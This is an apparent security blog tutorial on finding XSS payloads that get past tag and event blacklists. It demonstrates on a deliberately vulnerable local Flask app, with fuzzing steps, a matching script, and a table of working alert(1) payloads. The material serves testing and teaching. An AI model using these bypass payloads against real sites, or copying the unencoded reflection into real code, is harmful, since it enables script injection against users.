Detecting valid tags/events on XSS exploitation.
Exploiting Cross-Site Scripting (XSS) vulnerabilities might be a little tricky. In this blog post, the functionality of a helpful script will be described to assist in the injection of valid HTML/JavaScript syntax to take advantage of a weak tag/event validation.
Note: This post is based on the amazing job of the Portswigger’s team and it’s Cross-site scripting (XSS) cheat sheet
Analyzing the injection point
In order to explain in a practical way, a vulnerable server is deployed using Flask. This server accepts an input parameter (name) and the parameter is reflected in the response without any encoding. However, the blacklist value is going to be filled with a list of strings that will try to detect a XSS.
from flask import Flask, abort, request
app = Flask(__name__)
@app.route('/XSS')
def Welcome_name():
name = request.args.get('name')
blacklist = []
if any(string in name for string in blacklist):
abort(403, description="XSS Detected")
else:
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(host='0.0.0.0',port=81)
Once the application is deployed, a GET request with a <
character is performed to analyse how the response reflects it:
- Request:
GET /XSS?name=asf< HTTP/1.1
- Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:32:32 GMT
Test XSS: asf<
It seems vulnerable to XSS. Another GET request is submited using <img
tag:
- Request:
GET /XSS?name=asf<img HTTP/1.1
- Response:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:36:50 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>
XSS Detected. How the filter works must be analysed.
XSS Tag/Event analyzer
The following Python script analyzes which suitable payload could be used to exploit a valid XSS when tags/events are validated. It compares the information supplied after analyzing how the filter works and the information of Cross-site scripting (XSS) cheat sheet.
It can be downloaded Here - https://gitlab.com/jlajara/xss-tag_event-analyzer
The usage is the following:
usage: find_xss.py [-h] [-f FILE] [-t TAGS [TAGS ...]]
[-e EVENTS [EVENTS ...]] [-o OUTPUT]
Find suitable XSS Payloads.
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE file with the payloads
-t TAGS [TAGS ...], --tags TAGS [TAGS ...]
array with allowed tags
-e EVENTS [EVENTS ...], --events EVENTS [EVENTS ...]
array with allowed events
-o OUTPUT, --output OUTPUT
output payload list
Methodology:
- 1. Fuzz with burpsuite or other tool the content of the tags.txt file. The point of fuzzing should be placed after the
<
character:
GET /XSS?name=asf<§tag§ HTTP/1.1
The following tags are candidates to a valid exploitation: b blink details marquee blockquote
- 2. Fuzz with burpsuite or other tool the content of the events.txt file. The point of fuzzing should be placed after a valid tag:
GET /XSS?name=asf<b+§event§ HTTP/1.1
The following events are candidates to a valid exploitation: oncontextmenu onhashchange onmouseout onpopstate
- 3. Check the combination of tags and events with the script. Tags and events are separated by an space character.
❯ python find_xss.py -t b blink details marquee blockquote -e oncontextmenu onhashchange onmouseout onpopstate
Payloads found:
+--------------------------------------------------------+-----------------------------+
| Payload | Browser Compatibility |
+--------------------------------------------------------+-----------------------------+
| <b oncontextmenu="alert(1)">test</b> | chrome firefox edge safari |
| <blink oncontextmenu="alert(1)">test</blink> | chrome firefox edge safari |
| <blockquote oncontextmenu="alert(1)">test</blockquote> | chrome firefox edge safari |
| <details oncontextmenu="alert(1)">test</details> | chrome firefox edge safari |
| <marquee oncontextmenu="alert(1)">test</marquee> | chrome firefox edge safari |
| <b onmouseout="alert(1)">test</b> | chrome firefox edge safari |
| <blink onmouseout="alert(1)">test</blink> | chrome firefox edge safari |
| <blockquote onmouseout="alert(1)">test</blockquote> | chrome firefox edge safari |
| <details onmouseout="alert(1)">test</details> | chrome firefox edge safari |
| <marquee onmouseout="alert(1)">test</marquee> | chrome firefox edge safari |
+--------------------------------------------------------+-----------------------------+
- 4. Testing the injection:
http://localhost:81/XSS?name=asf<b oncontextmenu="alert(1)">test</b>
Notes
- The
-f / --file
parameter is used to specify the payload database, by default it usesdb.json
. - When
-t / --tags
or-e / --events
are not specified, it will be completed with any value. - Some payloads use various tags, therefore both tags should be accepted to achieve a complete execution.
- Payloads are basics and
alert(1)
is probably detected by most WAFs, some evasion should be performed.